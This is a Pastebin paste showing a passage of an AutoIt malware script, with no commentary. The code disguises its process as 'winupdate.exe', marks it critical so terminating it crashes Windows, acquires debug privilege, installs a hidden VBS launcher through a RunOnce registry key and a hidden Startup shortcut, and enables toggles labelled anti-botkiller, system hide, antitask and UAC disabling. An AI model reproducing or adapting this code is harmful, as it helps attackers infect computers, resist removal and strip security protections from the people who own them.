  1073.     Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
  1074.     If @error Then Return SetError(@error, @extended, False)
  1075.     Return $aresult[0]
  1076. EndFunc
  1077.  
  1078. Func _winapi_selectobject($hdc, $hgdiobj)
  1079.     Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
  1080.     If @error Then Return SetError(@error, @extended, False)
  1081.     Return $aresult[0]
  1082. EndFunc
  1083.  
  1084. Func _winapi_stringlenw($vstring)
  1085.     Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring)
  1086.     If @error Then Return SetError(1, @extended, 0)
  1087.     Return $acall[0]
  1088. EndFunc
  1089. ;-------------------------------------------------------------------------------------------------------------------------------------------------
  1090. $scriptname = "winupdate.exe"
  1091.  
  1092. Func anti_hook()
  1093. __bsod($scriptname, True)
  1094. EndFunc
  1095.  
  1096. $protectprocess = IniRead($uniscriptdir & "\65901.PPZ", "2244034", "6224525", "NotFound")
  1097. If $protectprocess = "3244993" Then
  1098.     AdlibRegister("anti_hook", 500)
  1099. Else
  1100. EndIf
  1101.  
  1102. Func __bsod($process_name, $bsod_status)
  1103.     Local Const $status_success = 0
  1104.     Local Const $bsod_class = 29
  1105.     Local Const $info_length = 4
  1106.     Local Const $process_all_access = 2035711
  1107.     Local $result, $process_handle, $process_id, $bsod_struct, $bsod_struct_ptr
  1108.     If NOT Call("__DEBUGE_PRIVILEGE", True) Then Return "![>] ERROR : DEBUGE PRIVILEGE OF PROCESS [ " & $process_name & " ] CAN NOT CHANGED"
  1109.     $process_id = ProcessExists($process_name)
  1110.     If $process_id = 0 Then Return "![>] ERROR : PROCESS [ " & $process_name & " ] NOT EXIST"
  1111.     $process_handle = _winapi_openprocess($process_all_access, True, $process_id)
  1112.     If @error Then Return "![>] ERROR : CAN NOT OPEN [ " & $process_name & " ] PROCESS"
  1113.     $bsod_struct = DllStructCreate("BOOL BSOD_STATUS")
  1114.     DllStructSetData($bsod_struct, "BSOD_STATUS", $bsod_status)
  1115.     $bsod_struct_ptr = DllStructGetPtr($bsod_struct)
  1116.     $result = DllCall("NTDLL.DLL", "DWORD", "NtSetInformationProcess", "HANDLE", $process_handle, "INT", $bsod_class, "PTR", $bsod_struct_ptr, "ULONG", $info_length)
  1117.     _winapi_closehandle($process_handle)
  1118.     $bsod_struct_ptr = 0
  1119.     If $result[0] = $status_success Then
  1120.         Return "+[>] BSOD OF PROCESS [ " & $process_name & " ] CHANGED WITH NO ERROR" & @CRLF
  1121.     Else
  1122.         Return "![>] ERROR : BSOD OF PROCESS [ " & $process_name & " ] NOT CHANGED , ERROR CODE : " & Hex($result[0], 8)
  1123.     EndIf
  1124. EndFunc
  1125.  
  1126. Func __debuge_privilege($status)
  1127.     Local $htoken, $ilasterror
  1128.     $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  1129.     If @error Then Return SetError(@error, @extended, 0)
  1130.     $ilasterror = _security__setprivilege($htoken, "SEDEBUGPRIVILEGE", $status)
  1131.     _winapi_closehandle($htoken)
  1132.     Return $ilasterror
  1133. EndFunc
  1134.  
  1135. OnAutoItExitRegister("exitme")
  1136.  
  1137. Func exitme()
  1138.     __bsod($scriptname, False)
  1139. EndFunc
  1140.  
  1141.  
  1142. ;anti botkiller
  1143. Local $antibotkill = IniRead($uniscriptdir & "\65901.PPZ", "antibotkill-1", "antibotkill-2", "NotFound")
  1144. If $antibotkill = "antibotkill-3" Then
  1145.     AdlibRegister("antibotkill", 1000)
  1146. Else
  1147. EndIf
  1148. ;-----------------------------------------------------------------------------------------------------
  1149. Func antibotkill()
  1150. $getstart = RegRead("HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce", $path)
  1151. if $getstart = $unicode_userprofile & "\\" & $path & "\start.vbs" Then
  1152. ;do nothing
  1153. Else
  1154. RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce", $path, "REG_SZ", $unicode_userprofile & "\\" & $path & "\start.vbs")
  1155. EndIf
  1156.  
  1157. if FileExists($unicode_userprofile & "\\" & $path & "\start.vbs") Then
  1158. ;do nothing
  1159. Else
  1160. Local $vbs = FileOpen($unicode_userprofile & "\\" & $path & "\start.vbs", 1)
  1161. FileWrite($vbs, 'const Hidden = 0' & @CRLF & 'const WaitOnReturn = true' & @CRLF & 'File ="""' & $unicode_userprofile & "\\" & $path & "\\" & 'start.cmd"""' & @CRLF & 'set WshShell = CreateObject("WScript.Shell")' & @CRLF & 'WshShell.Run file, Hidden, WaitOnReturn' & @CRLF & 'wscript.quit')
  1162. FileClose($vbs)
  1163. EndIf
  1164.  
  1165. if FileExists($unicode_startup & "\start.lnk") Then
  1166. ;do nothing
  1167. Else
  1168. FileCreateShortcut($unicode_userprofile & "\\" & $path & "\start.vbs", $unicode_startup & "\start.lnk")
  1169. FileSetAttrib($unicode_startup & "\start.lnk","+SH")
  1170. EndIf
  1171. EndFunc
  1172. ;-----------------------------------------------------------------------------------------------------
  1173. ;persistence
  1174. Local $persistence = IniRead($uniscriptdir & "\65901.PPZ", "3206254", "5598349", "NotFound")
  1175. If $persistence = "4588436" Then
  1176.     AdlibRegister("persistence", 500)
  1177. Else
  1178. EndIf
  1179. ;-----------------------------------------------------------------------------------------------------
  1180. ;system hide
  1181. Local $systemhide = IniRead($uniscriptdir & "\65901.PPZ", "systemhide1", "systemhide2", "NotFound")
  1182. If $systemhide = "systemhide3" Then
  1183. AdlibRegister("systemhide",500)
  1184. Else
  1185. EndIf
  1186. ;-----------------------------------------------------------------------------------------------------
  1187. ;antitask
  1188. Local $antitask = IniRead($uniscriptdir & "\65901.PPZ", "antitask1", "antitask2", "NotFound")
  1189. If $antitask = "antitask3" Then
  1190.     AdlibRegister("antitask",500)
  1191. Else
  1192. EndIf
  1193. ;-----------------------------------------------------------------------------------------------------
  1194. ;disable uac
  1195. Local $uac = IniRead($uniscriptdir & "\65901.PPZ", "6404000", "6662859", "NotFound")
  1196. If $uac = "9455413" Then
  1197.     AdlibRegister("disable_uac",500)
  1198. Else
  1199. EndIf
  1200. ;-----------------------------------------------------------------------------------------------------
  1201.  
  1202. If $uac = "9455413" Then
  1203. loop()
  1204. EndIf
  1205.  
  1206. If $systemhide = "systemhide3" Then
  1207. loop()
  1208. EndIf
  1209.  
  1210. If $antitask = "antitask" Then
  1211. loop()
  1212. EndIf
  1213.  
  1214. If $antibotkill = "antibotkill-3" Then
  1215. loop()
  1216. EndIf
  1217.  
  1218. If $mutex = "mutex3" Then
  1219. loop()
  1220. EndIf
  1221.  
  1222. If $protectprocess = "3244993" Then
  1223.     loop()
  1224. EndIf
  1225.  
  1226. If $persistence = "4588436" Then
  1227. loop()
  1228. EndIf
  1229.  
  1230. func loop()
  1231. while 1
  1232.  
  1233. If FileExists($unicode_userprofile & "\datascrambler\clean.txt") Then
  1234. __bsod($scriptname, False)
  1235. EndIf
  1236.  
  1237. If WinExists($path) Then
  1238. bsod()
  1239. Else
  1240. EndIf
  1241.  
  1242. sleep(100)
  1243.  
  1244. WEnd
  1245. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!